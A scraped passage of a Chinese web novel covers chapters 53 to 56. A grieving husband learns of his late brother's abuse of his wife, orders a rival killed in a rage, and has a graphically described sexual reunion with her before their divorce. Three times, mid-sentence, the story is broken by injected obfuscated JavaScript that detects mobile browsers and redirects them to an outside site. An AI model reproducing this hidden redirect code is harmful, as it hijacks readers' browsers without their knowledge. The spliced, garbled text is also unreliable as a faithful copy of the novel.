而被他拽着的、也不知道此时还应该去哪里宣泄自己怒火的男人,如同无根之草一样,卸了身上的力气,任他拽着自己,低下头来自述道: “柳叔你知道吗,敬亭原来对纯熙一点都不好,他打她骂她欺负她,还出轨去□□。而我竟然以为她过的很好……都是我,都怪我,都是我的错,我真是个十足的蠢货。” “啊!……” 男人悲怆地仰天长啸,形神俱灭一般,面色灰败到了极处,甩开柳叔的手,瘫倒在路中间,痴痴地露出一个微笑来。 “都是我的错,是我辜负了她!” “少爷,少爷你振作一点啊。” 柳叔跪在他身边,伸出手拉他的胳膊,连忙劝说道: “你现在这个样子,就是太太看了也会难受的啊,你不要这样行吗?” 听到舒纯熙,敬渝好像是回过了一点神来,他撑着坚硬的石子路坐起身,眼里涌出热流,和冰凉的雨水交汇在一起,在面颊上肆意横流。 男人以手化拳捶打在心脏的位置,仿佛一个机器人试图毁灭自己的思考装置那般,他想叫心不要再感受、不要再疼痛了。 但是没有一丁点的作用。 捶打得终于累了,充满悲意绝望的声音沙哑着响起来,他对着柳叔喃喃地说: “好痛,我的心真的好痛,柳叔,它真的好痛啊。” 男人倒吸着气,仿若已不敢再呼吸,一动弹就受不了了。 其形其状,就连见过大风大浪的柳叔也不禁眼眶湿润、险些落下泪来。 事已至此,如何安慰仿佛都是枉然,他也只能撑着伞,陪他一起待在这一方天地里。 雨水冲刷着男人的面颊,模糊了他的视线,他的胸膛、他的脑海里的一切却反而愈发清晰,将他时时刻刻叩问。 他真是个无可救药的混蛋,他竟然还因为车祸的事情生纯熙的气,他根本就不知道纯熙经历过什么、遭遇过什么! 啊! 无奈又愤怒的低吼无时无刻不在胸膛里响起,提醒他自己都做过多少蠢事。 他现在恨不得生啖敬亭的血肉,只恨那场车祸叫他死得太容易,走得太干干净净,如今让他连怒火都无处可以宣泄! 敬渝想着,两只拳头泄愤似的砸在石子路上,直至鲜血淋漓才终于在柳叔的阻拦下罢手,似哭似笑地从地上爬起来,身形踉跄地往主楼的方向回。 回到书房,男人就坐在那张单人沙发上面,浑身的衣服都已经湿透,上面的水渍伴着泥土的痕迹脏得很,他总算从暴怒变成了死一般的平静,等待着身上的衣服自己晾干,同时凝滞的还有双手上流血的伤口。 不知道过了多久,郑徽从外面敲了敲门,敬渝缓慢地抬起头,嘶哑地说了一声“进”。 郑徽走进门,看见敬渝如今的样子,心中不知道该作何感想,他经手那些资料的时候也是一阵难言,那个时候他就知道老板一定接受不了的。 就算是换做自己,估计也好不到哪里去。 但真的看见敬渝如今这一脸灰败死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15562078|168356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寂、仿佛再也没有一丁点生气的样子,他还是心惊肉跳,将头低得更狠,装作没看见什么的样子,走过去附耳同他说话。 听完郑徽的话,敬渝原本半闭着的双眼忽得掀起眼皮,里面黑黝黝的眸子转动了一下,搅动着底下那些隐秘的情绪,仿佛从心脏到血管经络里面,方才那种压制不下去的燥意就又已经回笼了。 “那就直接弄死郑明波不就行了!” 男人克制不住,双手握住沙发把手攥得出奇用力,眸子里闪起幽暗炙热的光,飞快地吼叫了一声,而后伸手拽住郑徽的衣领,与他一分不错的对视,带着不容置疑的强势,说: “先把我岳父母接出来狱外监禁,然后把那些不配合的人都给按死,我要立刻替舒家人平反,这很难做到吗?!” 郑徽颤动着的眼睫抖动了一下,不欲在敬渝发火的当头反驳他,只得紧闭着双唇。 但他没等到敬渝冷静下来、做出一个更妥帖的决断,反而眼睁睁看着男人走到书桌底下,拿起他的笔记本,用笔在名单上面划掉了郑明波的名字。 “就这么干吧,是他先背叛我们的,” 手背在身后,敬渝目光阴郁地落在那页纸上, “还有祝郧阳,你让祝正扬管好自己的儿子,不然我也不知道我会干出什么来。” 郑徽觉得现在的敬渝更可怕了,他干巴巴地张了张嘴,不知道该说点什么。 自己只不过是带来了点郑明波跟祝郧阳勾结的疑似证据,他就直接下了决断要把苗给掐死,根本就不是他平常的作风。 他们已经等了整整两年,已经谨慎地谋划这件事这么久了,不应该在这个当头忽然加快进程、节外生枝的。 郑徽清楚敬渝一直以来遭受的煎熬,也明白他在筹划这件事的时候,一直在尽量不触及他自己的底线。 但现在,他眼睁睁看着敬渝就这样失去了理智。 可他不能让敬渝就这样为了舒家的事情被拉下水。 郑徽知道自己现在说什么都没有用了,他应下,而后退出书房,站在走廊上拨通唐廪的电话,压着声音有点崩溃地说: “老板疯了,他说叫我们做掉那位。” 而身后的书房里又传来噼里啪啦扫书的声音,郑徽双肩一耸,有点担忧地说: “要不然……我去找太太?” . 舒纯熙自从敬渝走后,就在床上坐着,不知何时她又起身到了窗边,本想看雨,却看见一个冲进雨幕的身影。 说实话,确实令人心惊肉跳。 她揪着衣角,有点不知所措地站在那儿,心里只有一阵烦躁和负气。 她跟敬渝认识这么多年,从来就没见过他这个样子,也难以想象他也会崩溃,他的世界和认知也会有坍塌的一天。 这种感受有点奇怪,蔓延在心底,甚至让她都忘了令他如此的正是自己的事。 他们的感知好像有时差,等到他走到这里的时候,她都已经走得更远了,回过头来看他的样子,反而好像是彻头彻尾的局外人。 53. 第 53 章 第五十三章、 这一天里本就没有阳光,从光线明暗也绝分不出是白天还是黑夜。 总之不知何时,当敬渝坐回那张沙发上,侧头看着外面的雨势时,维持了这个动作不知多久的时候,他书房的门忽然从外面被打开了。 没多久,舒纯熙的身影走过来,似乎也没怎么关心这一室狼藉,而是将目光落在他贴在肌肤上的、已经干得差不多的衣服上,皱起眉头。 敬渝用一种称得上是“怯懦”的态度,抬头飞快瞄了她一眼,像是做错事的小孩子,将两只手给并在一起放好,然后垂首,扯起嘴角,用尽量平静温和的声音问她: “你怎么来了?” 站在他身旁的女人没好气地哼了一声,转过身,淡淡地说: “起来,跟我回房。” 敬渝愣怔了一下,眼看着舒纯熙已经出了房门,顾不得思考更多,就站起身来,追上去亦步亦趋地回了卧室。 进了卧室,舒纯熙动作十分自然地锁了门,然后盯着呆站在自己旁边的敬渝,伸手把他朝卫生间的方向推了一把,说: “去洗澡,洗澡你会吧?” “啊?奥。” 敬渝揉了揉眼睛,转身就进了洗手间,脑袋里好像就只有舒纯熙的指令。 于是他走到浴室里,将自己一身脏污的衣服给脱掉扔进脏衣篓里面,然后打开花洒,开始给自己洗澡。 舒纯熙坐在床尾,双腿紧紧并在一块儿,两只胳膊抻在两侧,眉心紧蹙,连带着心跳都有点纷乱无章地加快着。 耳边的水声既像是外面的雨声,也像是洗手间里的流水声。 漫无目的地想七想八了一会儿,她才想起来自己好像没有给敬渝拿换洗的衣物,她不是让他回来换身衣服的吗? 好像总算有点事可以做了,舒纯熙站起身来准备去衣帽间,但洗手间的门已经打开了。 慢吞吞走出来的男人腰间围了一条大浴巾,揉着脑袋上的干毛巾,眼神有点不自然地扫了她一眼,默默说: “我忘了拿衣服了。” 说完,他进了衣帽间,还顺便关上了门。 在外边站起身的女人没了能干的事情,也就站在床尾,干巴巴地揪着自己的手指。 等到敬渝换好了一身清爽干净的家居服走出来,舒纯熙还是很快看见他因遇水而裂开的手背,上面蜿蜒着破开的鲜红伤口,惊心动魄。 脚不自觉地就朝他走了过去,到了跟前拿起他的手,仔细看了一下,女人心里生出了一种不是滋味的感受。 这伤怎么弄的,她也能猜得到。 甚至她觉得,若是敬亭还在,敬渝不会像现在这样,正是因为敬亭死了,一了百了了,敬渝就是想找他算账也没有任何办法。 所以气也就只能憋在心里面了。 她并没有那种需要另一个男人替自己教训敬亭的情节,那让她觉得浑身不适,但是看着敬渝这样,不得不承认,她的心中升起了一股很复杂难言的情绪。 长久以来,她都在混沌迷蒙的情绪里行走着,可此时此刻的这种情绪不属于她所认知的任何一种情绪,就像是一片暗黑沼泽地里生长出来的野蕨菜,这棵苗不属于这里,但它却坚韧地拔地而起了。 女人放下男人僵硬无比的双手,抬手揽住他直挺的脖颈,踮起脚使力。 而原本愣怔着任她摆布的男人总算动弹了一下,弯下脖子,好让她不用太费力。 他也不知道自己要做什么,只知道顺从身前女人的意思,下意识就低下了头来。 唇被另一个人柔软的唇瓣印上,女人用她小巧坚硬的牙齿轻咬着他的唇瓣,将他的嘴巴掀开,然后探进来。 敬渝胸膛里的怒火其实根本就没有消失,只是被他用一层又一层厚重的油布给盖住,但他也不知道什么时候会被彻底点燃,只不过在表面上,他至少看起来是很正常很冷静了。 可此时此刻,舒纯熙吻起他的这一刻开始,他知道胸膛里面流淌的血液又开始逐渐奔腾了起来。 可这并不是先前的那种怒火又被唤醒了,而是从血□□隙里又重生了一种新的情绪,如同快速生长的竹笋般窜头,迅猛得将他整个人妥帖地包裹住,唤醒了一种全新的感受。 他急躁起来,不可再忍耐压制了,大脑里又如同断了缰绳的野马一样奔腾了起来。 男人伸手将身前的女人给搂进怀里,与她额头相触面贴着面,一丝不错、你来我往地拥吻起来。 一改往日温柔,敬渝强势霸道地将他的主动权给彻底夺了回来,拦腰把舒纯熙给抱起来往床边走,然后把人给放在床中央。 做完这一切,脑子里的理智才总算战胜了那股子不知所云的情绪,他又抱着舒纯熙的上半身将她扶起来,小心翼翼地拥在怀里,丝毫没有要继续的意思,戛然而止。 被拥着的女人有点懵地睁开双眼,很快变成了横眉冷对,打开他的手,漠然地说: “你什么意思啊?” 被骂了的人有点心虚地嚅动着嘴唇,其实他已然到了极力忍耐的尽头,但理智的紧箍总算还是将他没有变成欲望的野兽。 他的心里确实是有无边怒火亟待解决,如今他也不知道该怎么将这些火给扑灭。 但她到来了。 她愿意用这种方式抚慰他这头到处乱撞的野兽。 可他却不能纵容自己接受,他也没有底气和脸面去接受。 如果是这样,他与曾经粗鲁强迫般对待她的敬亭又有何异? 纯熙待他至纯至善,犹如天使恩赐般有着最大的宽和包容。 而他呢,在心中思绪无法成功自恰的情况下,胆敢贸然享受她的抚慰吗? 男人颤抖着手臂,低头亲了亲舒纯熙的额头,沉着声音,无比艰难地说: “我真的可以么?纯熙,我真的能吗?” 他真的可以拥有她吗?她是心甘情愿接受他的吗?他真的配拥有这一切吗? 舒纯熙垂下眼眸,轻叹了一口气,心中升起来一种不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15562079|168356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该怎么描述的感受。 光是这一点,他就已经比敬亭强了不知多少倍了。 “可以,这次我不耍你玩了,” 鼻子有点酸,女人没有看他,只是低声说, “我想要你,敬渝。” 敬渝心中的那根弦应声而断,他有些短促地呼吸着,气息扑在舒纯熙面颊上面,压着她慢慢躺下去。 吻她所有裸露在外面的皮肤,然后在一阵慌乱中褪下彼此的衣服。 始终身下的女人没什么表情,但微微闭紧的双眼,还有双颊染上的些许红色,还是昭示着她的羞赧。 敬渝也有点害羞,尤其是当前面这些都做完之后,他竟然大脑空白不知道自己接下来该干什么了。 之前书房那次后,他暗地里还找了本相关书籍和几部电影看了下,就是怕这天不知道什么时候会到来,他也不想横冲直撞唐突了舒纯熙。 但是真到了此时此刻,他发现心中愈发昂扬的情绪帮不了自己半分,只会让他面对她美好的身体越发情怯,不敢弄伤她。 舒纯熙难耐地睁开双眼,对上男人闪着幽暗火苗直勾勾的眼神,伸出手将他脖子朝自己一拽,八爪鱼一般扒到了他身上,转为坐姿。 她是有心教他,但自己也实在是扯不下脸皮来主动朝他张/开/双/腿,只能像眼前这样了。 两个人的气息无比急促,胡乱地交叠在一起,舒纯熙蹙着眉头,双臂揽着他的肩背,配合着他的动作,缓慢地往下坐。 她也已经许久没有性/生活了,更何况她难得还在这件事上占据些主动权,饶是如此,最后她还是吃痛地低叫一声,一巴掌打在敬渝肩背上。 随着男人身体的一哆嗦,什么东西迸在肌肤之间,两个人粗/喘着气,而后,结束了。 等舒纯熙反应过来的时候,敬渝的脸色已经涨红成了猪肝色,一张俊脸看上去饱受摧残,也不知道是羞愧难当,还是依旧在憋气。 他还有心思摸摸舒纯熙的头发,压着嗓子说了句: “我,我先去下洗手间,等会回来帮你清理。” 说完,男人退下床,有点僵硬地走进了洗手间。 舒纯熙眨巴了两下自己的双睫,用一只手的手背抚了抚自己异常高温的双颊。然后探身将床尾的纸巾抽了几张,将自己的身体擦了擦。 略迟疑了一下,她爬下床,踩过地上自己的衣服,去衣帽间里挑了件鲜红色的睡袍披在身上,然后向前走,打开了洗手间的门。 敬渝背对着门,正在拨弄自己的身体。 现在他心中倒是被一种难以言喻的心思给占据得满满当当了。 他不知道自己要怎么去面对这件事,难不成,他要告诉舒纯熙,自己竟然不行么? 不是,但是他又为什么竟然不行啊? 敬渝有点崩溃,两边的嘴角压得紧紧地,简直到了无地自容的地步。 而身后门被轻轻推开的动静,更是令他羞愧地一震,垂下头,双手无力地扶着自己。 54. 第 54 章 第五十四章、 舒純熙走過去,看著渾身未著寸縷的敬渝,還是有很強烈的不適應感。 她深呼吸一口氣,走上前,將雙臂從他的窄腰旁穿過,從後攬住了他,偏頭將腦袋放在他光潔的後背上面。 然後,在男人克制的呼吸聲之中,兩隻手向下,揭開了他的手掌,輕輕撫摸了一下。 只是一下一下輕碰而已,立刻就彈起來打了她的手心一下。 舒纯熙狡黠地轻笑了一下,立刻就收回了手,转身朝外走。 敬渝压下呼吸,连忙转过身来,看见的便是一片艳红色的影,美得动人心魂,叫人心头发颤。 他追上去,当然没让她成功走到床上,一把将人拦腰抱起,在空中低抛了一下。 而后翻过她身,啄吻着她,掐着她的腰朝上送。 敬渝觉得他找来的那几部电影都没什么用。 他不可能将自己那脏东西毫无顾忌地塞到心爱的人嘴里,更不会叫她趴着背对着自己,所以他只能自己琢磨着来。 低头细细吻遍她全身,细致中带着虔诚,温柔得不像话。 大概是舒纯熙有些满意的哼声给了他点鼓励。 他伸手撈起她腿彎來,張開嘴,在窗外電閃雷鳴的伴奏裡,湊在她耳邊確認她能聽得見自己的聲音。 他說: “純熙,腿再為我打開些,好嗎?” 敬渝的声音温润清雅,此时染上欲色,氤氲地沙哑了,听起来更为性感。 光是听在耳边,舒纯熙的腰就要软了。 这话有些露骨,偏偏他一本正经就好像恳求一样,女人迷迷糊糊地就应了他的话。 “纯熙好乖啊。” 男人没着急,俯下身又亲她的嘴巴。 她急着吃回去,就又听到他有些春风得意地笑道: “纯熙喜欢我的嘴巴吗?我好开心。” 此後,三淺一深,深入淺出,初出茅廬的男人漸漸尋到了點門道。 女人也在研磨之中徹底不再壓抑著呻/吟,顫著上半身將自己的感受用語調傳達出來。 男人的声音没停下过,发现新大陆一般新奇,却又找回了平日里的那种温柔稳重,饱含着爱意和鼓励地回应着她,赞叹着自己心爱的人。 “纯熙好软,好可爱……” “纯熙穿大红色好漂亮,好美,我移不开眼睛了……喜欢纯熙准备的新婚夜,我好感动好满足。” “纯熙的声音好好听,好喜欢。” “纯熙的柔韧性真好……唔……宝宝好棒。” “纯熙怎么这么会长?这里好漂亮好可爱,好白啊。” 敬渝每说一句话,舒纯熙脸上的红晕就更甚一分,她怎么知道这人一旦开荤上了道竟然会是这个样子,哪里还需要她教什么? 更何况……他才不是一股脑都把这些话给倒出来的,而是做完了什么,才凑在她耳边赞美似的给了反馈。 总而言之,言语上这方面,一向沉默寡言的敬渝竟然破天荒地很会,但他又能把这话说得认真无比,根本找不到什么挑逗的意思,全然都是真心话。 她就快被他哄得找不着北了,睁开眼也要羞死了。 “纯熙睁开眼睛看看老公好不好?” 他轻轻地咬她的肩头,慢吞吞地说。 于是舒纯熙只好睁开眼睛,看着身上好看得有点妖孽的男人,一滴汗水顺着鼻梁陡然低落在她眉心。 女人勾起唇角,不得不承认,今天晚上的体验很好。 好到让她有一种,如果舒家没有发生那件事,她跟敬渝照常结婚的话,他们的第一次也会是这样的感觉。 她喜欢在现在的生活里找过去的那种假设,然后像勤劳的仓鼠一样把那些东西填在心头的洞里面。 这种感觉,很实,将她的心压得沉甸甸,压得满满当当的。 她揽着敬渝的脖颈,抬起身亲了他一口,突然说: “喜欢……你。” 最后那个字发得极低,几近湮灭在天地的声音里,但敬渝还是捕捉到了一丝情绪,不可置信地动弹了一下身体,很快将这点异样压下去,将头埋在她肩窝,颤动着,用一种赎罪的语气哭了,瓮声瓮气地说: “对不起纯熙,都是我的错,都怪我,都怪我,我是王八蛋。你就骂我打我吧,只要你心里能好受一点,什么事我都愿意去做……” 女人顿了一下,没想到他们又绕回了这件事上,按下心中隐约的不适,舒纯熙叹了一口气,还是伸出一只手来,摸了摸他的脑袋,抚慰一般说: “我不怪你,小渝哥哥。” 她叫的这一声,更是令敬渝逐渐哭得不能自已。 两年了,他竟然还能听到他的纯熙真心实意地这么叫他一声,他何德何能? 心痛依旧难耐,男人含混地将脸擦干净,抱着她下了床去浴室。 花洒的水撒在身上,舒纯熙扶着敬渝的肩膀,享受着他替自己细致地擦洗。 男人从脸颊到耳廓都一片绯红,但依旧蹲在地上坚持帮她清洗。 舒纯熙站在有些朦胧的水雾里,看着身前的男人。 他好像不怎么健身,但是体力还行,上半身只有些许薄肌,是那种她很偏爱的瘦的类似竹节的男人,看上去很风雅很温润。 曾几何时,她也幻想过婚后定要他为自己弯腰低头,现如今,男人的头已经低的不能再低了,还是他主动执意如此。 敬渝的手终于落到最后一处。 房间里没有预备避孕套,虽然他们结婚了,但是没有人会犯两个人各自的忌讳,准备这种东西。 刚刚的两次,她不许他顾忌。 男人的指尖修长削瘦,透着不寻常的白皙,抬头有些不自然地说: “我,我帮你抠出来?” 他的手蜷了一下,这话实在是让人难以启齿。 舒纯熙感觉得到,站在浴室这一会儿,其实已经流走不少了,更何况…… 她抬手止住了敬渝朝自己伸过来的手,男人的动作是停下了,但他斟酌着开了口,说: “你,你可能会怀孕的。” 说出这话的时候,敬渝心里甚至藏了一丝探究的意味来,他不明了,但却不得不期待一件事……孩子。 她想要一个孩子吗? 而舒纯熙轻轻地开了口,对他说: “有件事我还没跟你说……我应该这辈子都不能再怀孕了,小渝哥哥。” 到了莫瑞恩尔之后,她身心俱疲,身体底子本就不好,之后在外力作用下掉了第一个孩子,没有修养好就出了严重的车祸。 她是不能够 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但并不是她所愿意期待的,可真当她怀上之后,她又立刻被夺走了它。 好像这件事情从头到尾,她就没有一点选择权一样。 她没打算跟敬渝在今天这样的日子一起悼念它的,她看得出来他现在的情绪其实糟透了,但是不敢流露出来影响到自己。 这很古怪,她没想要跟孩子的大伯抱在一起,去惋惜它的失去。 但是那时候,它的父亲也是这般小心翼翼地,他忏悔,他哭泣,他发誓,他在自己的面前做保证,发出任何一个背叛了的男人都会发出的狗叫。 舒纯熙觉得这样的情景有些重叠了,眼前这个浴室里弥漫着的情绪气息不是她喜欢的。 敬渝或许是有点不一样的,毕竟这是她从小喜欢的男生。 真实世界的婚姻感情可以乱七八糟、一地鸡毛,但他们曾经的那份情感永远诚挚、热烈,洁白无瑕,不染纤尘。 她在心里封锁住了那个理想化的恋情,以至于如今也在想办法找当年的影子。 他或许也是一样么? 舒纯熙不知道了。 她被敬渝用宽大的浴巾包裹,然后洗洗擦干净身上的每一粒水珠,他再将她抱到床上,与她相拥着睡去。 次日,舒纯熙侧躺在敬渝的臂弯之中,她一颤着醒过来,身后的敬渝便也醒了。 这是个稍稍有些不同的清晨,敬渝温柔地抚摸着她的腰,上半身朝她靠近,抱过来,缩在她身后,慢吞吞地说: “昨天晚上,你喜欢么?” 舒纯熙缓缓回笼的意识被这个问题给捉住,她回想了一下昨天晚上在这张床上发生的事情。 她彻底接受了敬渝,容纳了他。 即使迟到了两年,但此时身后的男人就像是一份被打好了蝴蝶结的礼物,最终还是经由自己拆封,彻底成长为了一个男人。 二十七岁的处男么? 舒纯熙的嘴角隐约起了点笑意,不得不承认,自己心中还是颇为满意的。 她含糊地“嗯”了一声,然后深呼吸了一口气,平静地说: “敬渝,我们离婚吧。” 55. 第 55 章 第五十五章、 将她纳在整个胸膛臂弯里的男人一时之间没有动静,就连拥着她的动作也没有什么变化,两个人依旧那么亲密地贴在一处,像任何一对昨夜坦诚相待的爱侣那样。 没有人知道,在此之前,他们之中,一个固执地在推开,在坚守着她身体周遭竖起的尖刺篱笆;而另一个,在一条未知的看不见前方的路上禹禹独行,摸索着,试图抓住她。 现在,那块挡在尽头致使他看不清楚的挡板终于被撤走了,但等待着敬渝的,却并不是一轮高悬的耀阳,而是一片枯槁的荒草地。 他依旧迷茫,但万幸并非榆木,看得清楚挡在自己跟舒纯熙之间的究竟是什么,也在这个清晨明白了她的意思。 说来奇怪,敬渝跟舒纯熙的思维各有差异,有些时候说是有代沟也不为过,可唯独在某些时刻,依赖于一起长大的缘分,他从对她的了解里,能够捕捉到她的某些动机。 谁也没有去看谁的脸,两个人贴得很近,却只能从自己心里的揣度里去猜测彼此的态度和心思。 良久,舒纯熙又重复了一句, “我想,我们还是分开吧。” 昨夜很好,也算了她心事一桩。 至此,大抵所有的遗憾碎片都被她收集完毕了。 昔年往后,她回忆起来的时候,也会觉得在这个被命名为“敬渝”的方面上,自己还称得上是个“收藏家”。 她喜欢过他,还爱过,而他也回之以喜欢,回之以爱,她还睡过了他,确实圆满。 她想着,心跳一收一缩,平稳地在胸膛里跳动着。 身后的男人没有再过多犹豫了,沉着声,低低地应了一个字, “好。” 而后,他的手将她揽得更近,低头在她发顶极轻地落了一吻。 做完这个,敬渝没再问些俗套的话,例如“那昨夜算作什么”“那我怎么办”“你心里究竟有没有我”之类的问题。 男人松开她,先她一步下了床走进衣帽间,随便给自己找了一套衣服穿上,然后又斟酌地帮舒纯熙拿了一条长裙,还有袜子,走了出去。 手里捧着绸缎材质的柔软裙子,男人走到舒纯熙下床的那边床边,一只脚半跪下去,伸出手掌示意她过来。 而床上的女人迟疑着望着他,不明白他的意思。 “脚给我,我给你穿袜子。” 舒纯熙常年手脚冰凉,即使是夏天,在家的时候也是要穿袜子保暖的。 这他清楚,拿的是一条与粉紫色裙子能搭配的裸色丝质中袜。 “我不知道你今天想穿哪一条裙子,就自己选了一条,你看行吧,不行我再去换。” 男人捉住她脚踝,上手替她把袜子慢条斯理地抵上,然后用指尖将那层弹性面料拉上去,再将两边都整理好。 双腿跟床面形成一个三角形的女人狐疑地扫了一眼敬渝,看他的脸色已经恢复如常,看不出来什么额外的意思,蹙眉小声提醒了一句: “你干嘛啊?我不是说了吗,我们下午就去离婚。” 男人已经将她的袜子穿好,收回手的动作微微顿了一下,抿唇露出一点笑意,然后站起来,伸手去捞她,将她从床上抱下地,俯身去解她的睡袍。 “我知道,所以我想在你还是我老婆的这最后几个小时里,再对你好一点。” 睡袍里还有一条吊带裙,他示意她抬手,然后将她里面的衣服也给脱掉,俯身从床上捧起一件带着蕾丝的文胸,迟疑着往她身上比划。 舒纯熙翻了他一个白眼,觉得他主动帮自己穿衣服的这个行为很神经。 而男人确实有些尴尬地摸了摸鼻尖,说: “没事,学学就会了。” 奥,不对,以后也没得学了。 总之在舒纯熙的放水下,敬渝总算弄明白该怎么穿,顶着双颊的两片薄红将她转过身去,暗暗呼出一口气,指尖捏着左边的三排扣子跟右边的钩子,很好学地问了句: “我该挂哪一列?” 回应他的是女人没好气的白眼,虽然他看不见。 敬渝舔了下唇瓣,心一横,一个一个试起来,最后选了个自己觉得最合适的。 然后就是裙子,连衣裙好穿多了,他只用把衣服从舒纯熙的头上套下来,再帮她拉上右侧腋下的拉链就好了。 终于帮她穿完衣服,鼻尖生出一点薄汗的男人勾唇露出一个淡笑,好像完工了一件了不起的工事一样,抱了下她,再克制地松开,柔声说: “好了,去洗漱吧。” 距离下午也只有几个小时了,敬渝自然没有本事叫舒纯熙改变心意,不过,他也没有打算这么做。 两个人在民政局领了离婚证,回程的车却并没有开回敬宅,而是往从前舒宅的方向开着。 窗外的路越来越靠近舒纯熙记忆里的样子,她总算发现了不对劲,偏过头来疑惑地看了一眼敬渝,也只得到对方一个示意她安心的微笑。 过了一会儿,车在舒宅外面停下,敬渝先下去,而后舒纯熙才挪动了自己的脚步,跟他站到了一块儿。 “先前法拍的时候我买下来的,这房子如今在你的名下。” 敬渝从车上拿下来一个档案袋在手里,递给舒纯熙,语气温和地对她说: “你愿意住在这里的话,就回来住吧,我想过几天,舒伯父舒伯母也会回来住在这里,到时候你们一家可以团聚了。” 舒纯熙有点愣怔,傻傻地接过了他递过来的档案袋,双唇一抿,不知道该不该说点什么,最后还是眼皮子一抬,淡淡地低声说了声“谢谢”。 男人回之一笑,本想抬起来摸摸她头的手忽然停在半空之中,才意识到现在他已经不能对面前的人做这样的举动了。 于是手的方向一转,收回来摸了摸自己的脖颈。 他凝视着眼底下的女人,看她情绪平静,并无什么波澜,心里到底难言,始终不好开口。 如今看来,他借由先前那段婚姻的名义,冠冕堂皇地朝她靠近着的那些举动,想来都是自己占了名分的便宜。 而在一开始,她或许是并不真心愿意跟他结婚的吧。 那时候他们去监狱见她的父母,然后她出来时的脸色并不好。 现在他想,是不是那个时候,她就在心里希望着舒怀宁不要答应呢? 只不过,事实并未如她所愿。 所以那时候她嫁给自己,是为了舒家的事而做的妥协罢了。 而他,竟然还自我感动地觉得自己是为了照顾她跟她的孩子。 那时候她也不过刚从莫瑞恩尔回来,经历了丧子之痛,又遭遇了车祸,要她嫁给自己,又何尝不是逼迫呢?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15564843|168356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “这里的佣人和安保都安排好了,很安全。” 敬渝的手无力地蜷在腿侧,面上没有表现出过多的情绪,柔和地望着她,说: “那你……进去吧,再见。” 舒纯熙抬起眸子,在那几息的空当里留心观察了一下敬渝的表情,只见自己这个前夫情绪淡淡,几乎没有任何波澜,守着礼貌跟规矩,没有再贸然跨进她的边界半分。 她勾唇对他露出一个客套的笑容,说: “好,再见。” 然后就转过身,踏进了大门内。 舒纯熙在舒家有一个属于自己的很宽敞的房间,阔别两年,重新收拾过的屋子跟离开时几乎没有变动。 回到这个地方,她仿佛又走进了那段无忧无虑的岁月。 遥想两年以前,从她离开这个地方,踏入别人家的门开始,就好像是开启了一段狂乱的海上漂流,有过短暂的落脚点,但始终没有一个称得上是“家”的地方。 终究难言唏嘘,心境已然不同了。 如今倦鸟归林,她原以为自己会睡一个好觉。 但其实并没有。 这一晚她坐在阳台的秋千上,将驱蚊的蚊香盘拿得离自己脚边更近,一边忍受着蚊子有可能的搅扰,一边跟心里面那股子萦绕不散的不宁思绪周旋。 她的心沉坠坠的,好像怎么都轻松不起来,而这种情绪产生的原因,甚至又让她不敢去细细探究,总之又因而升起点烦躁来。 望着天边闪耀着的群星与黑乎乎的夜空,她的脑海里面,竟然会忽然浮现起来那个人的脸来。 他高挺的鼻梁,两瓣很少说伤人的话的薄唇,半闭半开的桃花眼眸,偶尔会露在唇边的淡淡浅笑,带着明显的宠溺意味…… 舒纯熙突然锤了下自己的大腿,将思绪给拉回来。 她想起他干什么? 而且,他连挽留都没有,分得那么干脆,她还指望他什么? 打定了主意,她闭上眼睛开始假寐。 …… 回到舒宅的第三天,舒纯熙终于等回了自己的父亲母亲。 起先她不知道他们到达的具体时间,便在自己房间外的露台上眺望。 当几辆保姆车有序地在门口停下后,舒纯熙即刻就转身,从楼梯上飞奔着跑下来。 舒怀宁和杨曦已经进了门,旁边还有将近十个监狱和公安司的工作人员,已经陆续排开打算对舒宅进行大致上的勘探记录。 舒纯熙步伐里都透露着激动和欢快,仿佛隔着时空越跑越再往回倒带,终有一刻可以跑回到两年以前的某个时刻,跑回原来的那个热烈的她。 女人的脚步在楼梯末尾稳重下来,她走过去,发现敬渝也在,正静静地立在舒怀宁身后。 “纯熙!” 杨曦欣喜地叫她,然后将女人拥进怀里,甚至低头亲了一口她的脸颊。 旁边的舒怀宁也露出点难得的笑意,回头与身后的敬渝相视一笑。 母女里抱在一起说话,舒怀宁便示意敬渝跟自己走到一边,两个人在庭院边上停下脚步。 在来的路上,敬渝已经提了自己跟舒纯熙离婚的事情,但舒怀宁也清楚,他今时今日能站在这里,同敬渝的出力离不开关系。 “那,你和纯熙,你们两个……现在,又是什么情况呢?” 56. 第 56 章 第五十六章、 沉吟着,舒怀宁望了眼没看自己这边的女儿,问敬渝。 敬渝也在望客厅里的女人,见她难得露出些娇俏舒心的笑容,唇角也不自觉地跟着她翘起来,听到舒怀宁的问题,思虑了一会儿,对他说: 